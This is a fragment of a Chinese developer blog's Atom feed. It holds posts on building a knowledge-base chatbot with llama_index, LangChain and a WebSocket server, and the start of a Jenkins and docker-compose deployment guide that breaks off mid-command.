'</span></span><br><span class="line"> documents = loader.load_data(file=Path(directory_path+<span class="string">'/'</span>+file_name),sheet_name=<span class="literal">None</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> documents = SimpleDirectoryReader(directory_path).load_data()</span><br><span class="line"> index = GPTVectorStoreIndex.from_documents(documents,service_context=service_context)</span><br><span class="line"> <span class="comment">#save on disk default ./storage</span></span><br><span class="line"> index.storage_context.persist(storage_path)</span><br><span class="line"> agent_cache[session_id] = get_chat_agent(index,service_context,llm,prompt_name,advanced_description)</span><br><span class="line"> <span class="keyword">return</span> agent_cache[session_id]</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> agent_cache[session_id] </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_chat_agent</span>(<span class="params">index,service_context,llm,prompt_name,advanced_description</span>):</span></span><br><span class="line"> <span class="comment"># memory = GPTIndexChatMemory(</span></span><br><span class="line"> <span class="comment"># index=index, </span></span><br><span class="line"> <span class="comment"># memory_key="chat_history", </span></span><br><span class="line"> <span class="comment"># query_kwargs={"response_mode": "compact","streaming":True,"service_context":service_context,"similarity_top_k":1}, #,"streaming":True</span></span><br><span class="line"> <span class="comment"># # return_source returns source nodes instead of querying index</span></span><br><span class="line"> <span class="comment"># return_source=True,</span></span><br><span class="line"> <span class="comment"># # return_messages returns context in message format</span></span><br><span class="line"> <span class="comment"># return_messages=True,</span></span><br><span class="line"> <span class="comment"># #chat_memory=ConversationBufferWindowMemory(return_messages=True)</span></span><br><span class="line"> <span class="comment"># )</span></span><br><span class="line"> <span class="comment">#should be create memorys for each user</span></span><br><span class="line"> memory = ConversationBufferMemory(</span><br><span class="line"> memory_key=<span class="string">"chat_history"</span></span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"> prompt_name=prompt_name <span class="keyword">if</span> prompt_name <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span> <span class="keyword">else</span> <span class="string">f"AI virtual anchor"</span></span><br><span class="line"> advanced_description = advanced_description <span class="keyword">if</span> advanced_description <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span> <span class="keyword">else</span> <span class="string">f"You are an AI virtual anchor. If it is a game-related question, please use tools to obtain information before answering.If this question is about a game and you don't know the answer, jst say 'sorry,i don't know'. Remember must respond in Chinese."</span></span><br><span class="line"> print(<span class="string">'prompt name:'</span>+prompt_name+<span class="string">" ,description:"</span>+advanced_description)</span><br><span class="line"> tool_config = IndexToolConfig(</span><br><span class="line"> query_engine=index.as_query_engine(</span><br><span class="line"> response_mode=<span class="string">"compact"</span>,</span><br><span class="line"> streaming=<span class="literal">True</span>,</span><br><span class="line"> similarity_top_k=<span class="number">1</span>,service_context=service_context), </span><br><span class="line"> name=prompt_name,</span><br><span class="line"> description=advanced_description,</span><br><span class="line"> tool_kwargs={<span class="string">"return_direct"</span>: <span class="literal">True</span>,<span class="string">"return_sources"</span>: <span class="literal">True</span>},</span><br><span class="line"> return_sources= <span class="literal">True</span></span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"> tool = LlamaIndexTool.from_tool_config(tool_config)</span><br><span class="line"> toolkit = LlamaToolkit(</span><br><span class="line"> index_configs=[tool],</span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"> agent_chain = create_llama_chat_agent(</span><br><span class="line"> toolkit,</span><br><span class="line"> llm,</span><br><span class="line"> memory=memory,</span><br><span class="line"> verbose=<span class="literal">True</span> </span><br><span class="line"> )</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">return</span> agent_chain</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">def</span> <span class="title">send_message</span>(<span class="params">websocket, message_queue</span>):</span></span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> </span><br><span class="line"> message = <span class="keyword">await</span> message_queue.get()</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">await</span> websocket.send(message)</span><br><span class="line"> <span class="comment"># print('Sent message: %s' % message)</span></span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> message_queue.task_done()</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">def</span> <span class="title">receive_messages</span>(<span class="params">websocket,message_queue,params_json</span>):</span></span><br><span class="line"> <span class="comment"># data path</span></span><br><span class="line"> direct_path = params_json[<span class="string">'input_dir'</span>]</span><br><span class="line"> </span><br><span class="line"> project_id=params_json[<span class="string">"project_id"</span>]</span><br><span class="line"> session_id = params_json[<span class="string">"session_id"</span>]</span><br><span class="line"></span><br><span class="line"> connecte_session[<span class="built_in">hash</span>(websocket)]=session_id</span><br><span class="line"> </span><br><span class="line"> chat_agent = build_llama_chat_agent(direct_path,project_id,session_id,<span class="literal">None</span>,<span class="literal">None</span>)</span><br><span class="line"> print(chat_agent.memory.chat_memory.messages)</span><br><span class="line"> query = params_json[<span class="string">"data"</span>][<span class="string">"question"</span>]</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> response_stream = <span class="keyword">await</span> chat_agent.arun(</span><br><span class="line"> query,</span><br><span class="line"> callbacks=[CustomAsyncCallBackHandler(message_queue)]</span><br><span class="line"> )</span><br><span class="line"> </span><br><span class="line"> logging.info(<span class="string">'ai response:'</span>+response_stream)</span><br><span class="line"> <span class="keyword">except</span> ValueError <span class="keyword">as</span> e:</span><br><span class="line"> response_stream = <span class="built_in">str</span>(e)</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> response_stream.startswith(<span class="string">"Could not parse LLM output: `"</span>):</span><br><span class="line"> <span class="keyword">raise</span> e</span><br><span class="line"> response_stream = response_stream.removeprefix(<span class="string">"Could not parse LLM output: `"</span>).removesuffix(<span class="string">"`"</span>)</span><br><span class="line"> logging.error(<span class="string">"error :"</span>+response_stream)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> asyncio</span><br><span class="line"><span class="keyword">import</span> websockets</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">def</span> <span class="title">websocket_server</span>(<span class="params">websocket, path</span>):</span></span><br><span class="line"> <span class="keyword">global</span> count</span><br><span class="line"> print(<span class="string">'Client connected.'</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"></span><br><span class="line"> message_queue = asyncio.Queue()</span><br><span class="line"></span><br><span class="line"> send_task = asyncio.create_task(send_message(websocket, message_queue))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">async</span> <span class="keyword">for</span> message <span class="keyword">in</span> websocket:</span><br><span class="line"> print(<span class="string">'Received message: %s'</span> % message)</span><br><span class="line"> data = json.loads(message)</span><br><span class="line"> <span class="keyword">await</span> receive_messages(websocket,message_queue,data)</span><br><span class="line"> <span class="keyword">except</span> websockets.exceptions.ConnectionClosed:</span><br><span class="line"> <span class="comment">#get session_id</span></span><br><span class="line"> session_id = connecte_session[<span class="built_in">hash</span>(websocket)]</span><br><span class="line"> <span class="comment">#delete cache by session_id</span></span><br><span class="line"> <span class="keyword">del</span> agent_cache[session_id]</span><br><span class="line"> print(<span class="string">'Client : %s disconnected.'</span> % session_id)</span><br><span class="line"> <span class="keyword">finally</span>:</span><br><span class="line"></span><br><span class="line"> <span class="keyword">await</span> websocket.close()</span><br><span class="line"> <span class="comment">#connected.remove(websocket)</span></span><br><span class="line"> send_task.cancel()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">await</span> asyncio.gather(send_task, return_exceptions=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"></span><br><span class="line"> start_server = websockets.serve(websocket_server, <span class="string">'0.0.0.0'</span>, <span class="number">9961</span>)</span><br><span class="line"> print(<span class="string">'websocket_server now started listening on port: 9961'</span>)</span><br><span class="line"></span><br><span class="line"> asyncio.get_event_loop().run_until_complete(start_server)</span><br><span class="line"> asyncio.get_event_loop().run_forever()</span><br></pre></td></tr></table></figure><h3><span id="custom-callback-handlerpy">custom callback handler.py</span></h3><p>Return AI’s response to the WebSocket client</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> typing <span class="keyword">import</span> Any, Union</span><br><span class="line"><span class="keyword">from</span> asyncio.queues <span class="keyword">import</span> Queue</span><br><span class="line"><span class="keyword">from</span> langchain.callbacks.base <span class="keyword">import</span> AsyncCallbackHandler</span><br><span class="line"><span class="keyword">from</span> typing <span class="keyword">import</span> Any, Dict, List, Optional</span><br><span class="line"><span class="keyword">from</span> langchain.schema <span class="keyword">import</span> LLMResult</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">from</span> langchain.callbacks.streaming_stdout_final_only <span class="keyword">import</span> FinalStreamingStdOutCallbackHandler</span><br><span class="line"><span class="comment">#split AI's response,only need the final Answers</span></span><br><span class="line">DEFAULT_ANSWER_PREFIX_TOKENS = [<span class="string">"\n"</span>, <span class="string">"AI"</span>, <span class="string">":"</span>]</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CustomAsyncCallBackHandler</span>(<span class="params">AsyncCallbackHandler</span>):</span></span><br><span class="line"> queue: Queue</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,queue:Queue, answer_prefix_tokens: Optional[List[<span class="built_in">str</span>]] = <span class="literal">None</span></span>) -> <span class="keyword">None</span>:</span></span><br><span class="line"> <span class="built_in">super</span>().__init__()</span><br><span class="line"> <span class="keyword">if</span> answer_prefix_tokens <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line"> answer_prefix_tokens = DEFAULT_ANSWER_PREFIX_TOKENS</span><br><span class="line"> self.answer_prefix_tokens = answer_prefix_tokens</span><br><span class="line"> self.last_tokens = [<span class="string">""</span>] * <span class="built_in">len</span>(answer_prefix_tokens)</span><br><span class="line"> self.answer_reached = <span class="literal">False</span></span><br><span class="line"> self.queue=queue</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">async</span> <span class="function"><span class="keyword">def</span> <span class="title">put_message</span>(<span class="params">self,json_str</span>):</span></span><br><span class="line"> <span class="keyword">await</span> self.queue.put(json.dumps(json_str))</span><br><span class="line"> <span class="keyword">await</span> self.queue.join()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">async</span> <span class="function"><span class="keyword">def</span> <span class="title">on_llm_start</span>(<span class="params"></span></span></span><br><span class="line"><span class="function"><span class="params"> self, serialized: Dict[<span class="built_in">str</span>, Any], prompts: List[<span class="built_in">str</span>], **kwargs: Any</span></span></span><br><span class="line"><span class="function"><span class="params"> </span>) -> <span class="keyword">None</span>:</span></span><br><span class="line"> <span class="string">"""Run when LLM starts running."""</span></span><br><span class="line"> self.answer_reached = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">async</span> <span class="function"><span class="keyword">def</span> <span class="title">on_llm_new_token</span>(<span class="params">self, token: <span class="built_in">str</span>, **kwargs</span>) -> <span class="keyword">None</span>:</span></span><br><span class="line"> <span class="comment"># Remember the last n tokens, where n = len(answer_prefix_tokens)</span></span><br><span class="line"> self.last_tokens.append(token)</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(self.last_tokens) > <span class="built_in">len</span>(self.answer_prefix_tokens):</span><br><span class="line"> self.last_tokens.pop(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Check if the last n tokens match the answer_prefix_tokens list ...</span></span><br><span class="line"> <span class="keyword">if</span> self.last_tokens == self.answer_prefix_tokens:</span><br><span class="line"> self.answer_reached = <span class="literal">True</span></span><br><span class="line"> <span class="comment"># Do not print the last token in answer_prefix_tokens,</span></span><br><span class="line"> <span class="comment"># as it's not part of the answer yet</span></span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># ... if yes, then print tokens from now on</span></span><br><span class="line"> <span class="keyword">if</span> self.answer_reached:</span><br><span class="line"> response = <span class="built_in">str</span>(token)</span><br><span class="line"> <span class="keyword">await</span> self.put_message(response)</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"> <span class="keyword">async</span> <span class="function"><span class="keyword">def</span> <span class="title">on_llm_end</span>(<span class="params">self, response: LLMResult, **kwargs: Any</span>) -> <span class="keyword">None</span>:</span></span><br><span class="line"> <span class="string">"""Run when LLM ends running."""</span></span><br><span class="line"> <span class="keyword">if</span> self.answer_reached:</span><br><span class="line"> response = <span class="string">"[DONE]"</span></span><br><span class="line"> <span class="keyword">await</span> self.put_message(response)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">async</span> <span class="function"><span class="keyword">def</span> <span class="title">on_llm_error</span>(<span class="params"></span></span></span><br><span class="line"><span class="function"><span class="params"> self, error: Union[Exception, KeyboardInterrupt], **kwargs: Any</span></span></span><br><span class="line"><span class="function"><span class="params"> </span>) -> <span class="keyword">None</span>:</span></span><br><span class="line"> <span class="string">"""Run when LLM errors."""</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><h1 id="Based"><a href="#Based" class="headerlink" title="Based"></a>Based</h1><ul>
<li><p>Langchain</p>
</li>
<li><p>llama_index &gt;=0.6.5</p>
</li>
<li><p>GPT-3.5</p>
</li>
<li><p>websockets</p>
</li>
<li><p>python &gt;=3.10</p>
</li>
</ul>
<p><strong>dependence</strong></p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">pip install llama-index</span><br><span class="line"></span><br><span class="line">pip install openai </span><br><span class="line"></span><br><span class="line">pip install langchain</span><br><span class="line"></span><br><span class="line">pip install websockets</span><br><span class="line"></span><br><span class="line">pip install pandas</span><br><span class="line"></span><br><span class="line">pip install llama-hub</span><br></pre></td></tr></table></figure>
<h1 id="What-use"><a href="#What-use" class="headerlink" title="What use"></a>What use</h1><p>Supporting private knowledge base AI question-answering chatbot, capable of both knowledge-based Q&amp;A and casual conversation.</p></summary>
<category term="AI" scheme="https://reiner.host/categories/AI/"/>
<category term="AI" scheme="https://reiner.host/tags/AI/"/>
<category term="ChatGPT" scheme="https://reiner.host/tags/ChatGPT/"/>
<category term="AI智能客服" scheme="https://reiner.host/tags/AI%E6%99%BA%E8%83%BD%E5%AE%A2%E6%9C%8D/"/>
</entry>
<entry>
<title>使用llama_index实现chatGPT智能问答机器人</title>
<link href="https://reiner.host/posts/8f0289a0.html"/>
<id>https://reiner.host/posts/8f0289a0.html</id>
<published>2023-05-14T12:04:22.000Z</published>
<updated>2023-06-14T14:49:42.342Z</updated>
<content type="html"><![CDATA[<h1><span id="前言">前言</span></h1><p> 随着OPENAI开放API接口后,各大厂商的AI如雨后春笋般涌现,如同十年前的互联网大火,未来的风口必然是在AI上。</p><p>当然,基于自训模型/自研AI 门槛过高,不是个人或中小厂能干的,而且即使有也与OPENAI差距不小,因此一般人能卷的也只有应用层了。</p><p>基于此背景,我开始研究基于GPT的自定义数据索引问答机器人,接着我发现了llama_index和langchain这两个框架,在此记录一下它的使用方法。</p><p>llama_index: <a href="https://github.com/jerryjliu/llama_index">GitHub - jerryjliu/llama_index: LlamaIndex (GPT Index) is a project that provides a central interface to connect your LLM's with external data.</a></p><p>langchain: <a href="https://github.com/hwchase17/langchain">GitHub - hwchase17/langchain: ⚡ Building applications with LLMs through composability ⚡</a></p><h1><span id="openai模型微调">OPENAI模型微调?</span></h1><p>最初我尝试使用OPENAI的模型微调,我试着弄了几百KB的文本数据喂进去,然而发现当我使用微调模型对话时AI的回复总是只言片语连一句完整的句子都无法返回。</p><p>通过搜索资料后我意识到模型微调不是几百或者几兆文本数据就能达到我想要的目地的。</p><p>最终我发现llama_index + langchain可以实现想要的效果</p><h1><span id="llama_index-langchian实现智能问答机器人">llama_index + langchian实现智能问答机器人</span></h1><h2><span id="step-1安装环境">step 1.安装环境</span></h2><ul><li><p>安装python3.10以上版本</p></li><li><p>安装依赖库:</p><ol><li><p>pip install llama-index</p></li><li><p>pip install openai</p></li><li><p>pip install langchain</p></li><li><p>pip install pandas</p></li></ol></li><li><p>准备OPENAI的API KEY</p></li></ul><h3><span id="step-2准备数据">step 2.准备数据</span></h3><p> 准备好机器人要回答的资料库,可以有PDF、HTML、WORD文档、SQL、API接口甚至GITHUB、WIKI等网络资源也可以,在本章我将使用简单的TXT文本,举例大概内容如下:</p><p>塞尔达传说:王国之泪什么时候出? 《塞尔达传说:王国之泪》将于2023年5月12日发售哦,敬请期待! </p><span id="more"></span><h3><span id="step-3编写python代码">step 3.编写python代码</span></h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> llama_index <span class="keyword">import</span> SimpleDirectoryReader, ServiceContext, GPTVectorStoreIndex, PromptHelper,load_index_from_storage,StorageContext</span><br><span class="line"><span class="keyword">from</span> llama_index.llm_predictor.chatgpt <span class="keyword">import</span> ChatGPTLLMPredictor</span><br><span class="line"><span class="keyword">from</span> langchain.chat_models <span class="keyword">import</span> ChatOpenAI</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> langchain.callbacks.streaming_stdout <span class="keyword">import</span> StreamingStdOutCallbackHandler</span><br><span class="line"></span><br><span class="line"><span class="comment">#设置你的OPENAI KEY</span></span><br><span class="line">os.environ[<span class="string">"OPENAI_API_KEY"</span>] = <span class="string">'sk-xxx'</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">init_index</span>(<span class="params">directory_path</span>):</span></span><br><span class="line"> <span class="comment"># set maximum input size</span></span><br><span class="line"> max_input_size = <span class="number">4096</span></span><br><span class="line"> <span class="comment"># set number of output tokens</span></span><br><span class="line"> num_outputs = <span class="number">2000</span></span><br><span class="line"> <span class="comment"># set maximum chunk overlap</span></span><br><span class="line"> max_chunk_overlap = <span class="number">20</span></span><br><span class="line"> <span class="comment"># set chunk size limit</span></span><br><span class="line"> chunk_size_limit = <span class="number">600</span> </span><br><span class="line"></span><br><span class="line"> <span class="comment">#如果需要流式输出,设置streaming=Ture</span></span><br><span class="line"> <span class="comment"># define LLM</span></span><br><span class="line"> llm_predictor = ChatGPTLLMPredictor(llm=ChatOpenAI(temperature=<span class="number">0.5</span>, model_name=<span class="string">"gpt-3.5-turbo"</span>, streaming=<span class="literal">False</span>))</span><br><span class="line"> prompt_helper = PromptHelper(max_input_size, num_outputs, max_chunk_overlap, chunk_size_limit=chunk_size_limit)</span><br><span class="line"> <span class="comment">#读取资料</span></span><br><span class="line"> documents = SimpleDirectoryReader(directory_path).load_data()</span><br><span class="line"> service_context = ServiceContext.from_defaults(llm_predictor=llm_predictor, prompt_helper=prompt_helper)</span><br><span class="line"> index = GPTVectorStoreIndex.from_documents(documents,service_context=service_context)</span><br><span class="line"></span><br><span class="line"> <span class="comment">#保存资料上下文到磁盘,默认./storage</span></span><br><span class="line"> index.storage_context.persist(<span class="string">'D://cache/storage'</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> service_context</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">ask</span>(<span class="params">service_context</span>):</span></span><br><span class="line"> storage_context = StorageContext.from_defaults(persist_dir=<span class="string">'D://cache/storage'</span>)</span><br><span class="line"> index = load_index_from_storage(storage_context)</span><br><span class="line"> query_engine=index.as_query_engine(</span><br><span class="line"> response_mode=<span class="string">"compact"</span>,</span><br><span class="line"> streaming=<span class="literal">False</span>,</span><br><span class="line"> similarity_top_k=<span class="number">1</span>,service_context=service_context)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>: </span><br><span class="line"> query = <span class="built_in">input</span>(<span class="string">"你想问什么? "</span>)</span><br><span class="line"> response = query_engine.query(query)</span><br><span class="line"> print(response)</span><br><span class="line"> <span class="comment">#流式输出使用此方法打印</span></span><br><span class="line"> <span class="comment">#response.print_response_stream()</span></span><br><span class="line"> </span><br><span class="line"><span class="comment">#该路径为资料库路径,如D://data/data.txt</span></span><br><span class="line">service_context=init_index(<span class="string">'D://data'</span>)</span><br><span class="line">ask(service_context)</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3><span id="final-step运行py文件">final step.运行py文件</span></h3><p>运行python代码看看是否能正常回答资料库中问题</p><p><strong>后续可优化的点:</strong></p><ul><li><p>使用websocket + 流试输出实现类似打字机的效果,流式输出反应较快用户体验较好</p></li><li><p>记录下用户的历史对话上下文</p></li><li><p>集成资料库问答+聊天为一体的机器人,自动识别属于资料问答还是普通聊天</p></li></ul><h1><span id="推荐gpt相关项目">推荐GPT相关项目</span></h1><p>AutoGPT:<a href="https://github.com/Significant-Gravitas/Auto-GPT">GitHub - Significant-Gravitas/Auto-GPT: An experimental open-source attempt to make GPT-4 fully autonomous.</a></p><p>GPT4-FREE:<a href="https://github.com/xtekky/gpt4free">GitHub - xtekky/gpt4free: decentralising the Ai Industry, just some language model api's…</a></p><p>OPENAI-JAVA:<a href="https://github.com/TheoKanning/openai-java">GitHub - TheoKanning/openai-java: OpenAI GPT-3 Api Client in Java</a></p>]]></content>
<summary type="html"><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p> 随着OPENAI开放API接口后,各大厂商的AI如雨后春笋般涌现,如同十年前的互联网大火,未来的风口必然是在AI上。</p>
<p>当然,基于自训模型/自研AI 门槛过高,不是个人或中小厂能干的,而且即使有也与OPENAI差距不小,因此一般人能卷的也只有应用层了。</p>
<p>基于此背景,我开始研究基于GPT的自定义数据索引问答机器人,接着我发现了llama_index和langchain这两个框架,在此记录一下它的使用方法。</p>
<p>llama_index: <a href="https://github.com/jerryjliu/llama_index">GitHub - jerryjliu/llama_index: LlamaIndex (GPT Index) is a project that provides a central interface to connect your LLM&#39;s with external data.</a></p>
<p>langchain: <a href="https://github.com/hwchase17/langchain">GitHub - hwchase17/langchain: ⚡ Building applications with LLMs through composability ⚡</a></p>
<h1 id="OPENAI模型微调?"><a href="#OPENAI模型微调?" class="headerlink" title="OPENAI模型微调?"></a>OPENAI模型微调?</h1><p>最初我尝试使用OPENAI的模型微调,我试着弄了几百KB的文本数据喂进去,然而发现当我使用微调模型对话时AI的回复总是只言片语连一句完整的句子都无法返回。</p>
<p>通过搜索资料后我意识到模型微调不是几百或者几兆文本数据就能达到我想要的目地的。</p>
<p>最终我发现llama_index + langchain可以实现想要的效果</p>
<h1 id="llama-index-langchian实现智能问答机器人"><a href="#llama-index-langchian实现智能问答机器人" class="headerlink" title="llama_index + langchian实现智能问答机器人"></a>llama_index + langchian实现智能问答机器人</h1><h2 id="step-1-安装环境"><a href="#step-1-安装环境" class="headerlink" title="step 1.安装环境"></a>step 1.安装环境</h2><ul>
<li><p>安装python3.10以上版本</p>
</li>
<li><p>安装依赖库:</p>
<ol>
<li><p>pip install llama-index</p>
</li>
<li><p>pip install openai</p>
</li>
<li><p>pip install langchain</p>
</li>
<li><p>pip install pandas</p>
</li>
</ol>
</li>
<li><p>准备OPENAI的API KEY</p>
</li>
</ul>
<h3 id="step-2-准备数据"><a href="#step-2-准备数据" class="headerlink" title="step 2.准备数据"></a>step 2.准备数据</h3><p> 准备好机器人要回答的资料库,可以有PDF、HTML、WORD文档、SQL、API接口甚至GITHUB、WIKI等网络资源也可以,在本章我将使用简单的TXT文本,举例大概内容如下:</p>
<p>塞尔达传说:王国之泪什么时候出? 《塞尔达传说:王国之泪》将于2023年5月12日发售哦,敬请期待! </p></summary>
<category term="AI" scheme="https://reiner.host/categories/AI/"/>
<category term="-- AI -- ChatGPT -- 对话机器人 " scheme="https://reiner.host/tags/AI-ChatGPT-%E5%AF%B9%E8%AF%9D%E6%9C%BA%E5%99%A8%E4%BA%BA/"/>
</entry>
<entry>
<title>使用jenkins+docker-compose实现springboot与vue3项目自动化部署</title>
<link href="https://reiner.host/posts/12ac9414.html"/>
<id>https://reiner.host/posts/12ac9414.html</id>
<published>2023-03-09T12:03:57.000Z</published>
<updated>2023-03-09T12:11:03.932Z</updated>
<content type="html"><![CDATA[<h1><span id="前言">前言</span></h1><p>前面使用Jenkins+docker+shell脚本可以方便的实现单体应用部署,但如果是微服务架构,工程包较多,若是为每一个服务都建一个Jenkins job 会变得很繁琐,这个时候就需要用到docker-compose 容器编排工具,它可以只需一行命令就能帮我们完成多个服务的构建、推送、重启。</p><p> 考虑到如果有多个服务需要部署到多台服务器,如果每台服务器都采用发送jar包再构建镜像的方式会产生许多重复工作,因此这种情况应该使用jenkins构建镜像->推送到私库->服务器拉取->docker-compose启动 如此流程来完成部署。</p><h1><span id="准备工作">准备工作</span></h1><p>需要安装如下软件:</p><ol><li><p>Jenkins (包括git/svn、publish over ssh 这个插件,jenkins安装教程很多此处不再赘述)</p></li><li><p>docker </p></li><li><p>Node JS (可选,仅部署前端vue项目时需要安装)</p></li><li><p>docker compose </p></li></ol><p><strong>准备工作指路:</strong></p><p>jenkins: <a href="https://www.jenkins.io/download/">https://www.jenkins.io/download/</a> 直接启动war包或者使用docker安装</p><p>docker: <a href="https://docs.docker.com/desktop/install/linux-install/">Install Docker Desktop on Linux</a> </p><p>Node Js:<a href="https://nodejs.org/en/">Node.js</a> </p><p>docker compose: <a href="https://github.com/docker/compose">GitHub - docker/compose: Define and run multi-container applications with Docker</a> </p><p>或者直接使用curl下载安装,以CentOs为例执行如下代码:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">1、下载docker-compose</span><br><span class="line">sudo curl -L <span class="string">"https://github.com/docker/compose/releases/download/1.29.2/docker-compose-<span class="subst">$(uname -s)</span>-<span class="subst">$(uname -m)</span>"</span> -o /usr/<span class="built_in">local</span>/bin/docker-compose</span><br><span class="line"></span><br><span class="line">2、增加可执行权限</span><br><span class="line">sudo chmod +x /usr/<span class="built_in">local</span>/bin/docker-compose</span><br><span class="line"></span><br><span class="line">3、添加软链接</span><br><span class="line">sudo ln -s /usr/<span class="built_in">local</span>/bin/docker-compose /usr/bin/docker-compose</span><br><span class="line"></span><br><span class="line">4、确认版本</span><br><span class="line">$ docker-compose --version</span><br><span class="line"></span><br><span class="line">sudo curl 